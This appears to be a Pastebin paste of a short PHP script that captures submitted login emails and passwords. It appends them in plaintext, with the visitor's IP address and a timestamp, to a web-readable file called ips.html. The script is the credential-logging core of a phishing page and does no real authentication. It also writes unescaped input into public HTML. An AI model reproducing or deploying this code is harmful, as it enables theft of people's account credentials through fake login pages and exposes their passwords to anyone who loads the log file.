Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // if the login button is clicked
- if ($_POST['submit']) {
- // Grab Username & Password from POST
- $useremail = $_POST['useremail'];
- $password = $_POST['password'];
- // Save Information to ips.html
- $ip = $_SERVER['REMOTE_ADDR'];
- $datetime = date("d-m-y / H:i:s");
- $invoegen = $datetime . " - " . $ip . "Username: " . $useremail . " Password: " . $password . "<br />";
- $fopen = fopen("ips.html", "a");
- fwrite($fopen, $invoegen);
- fclose($fopen);
- }
- ?>
Add Comment
Please, Sign In to add comment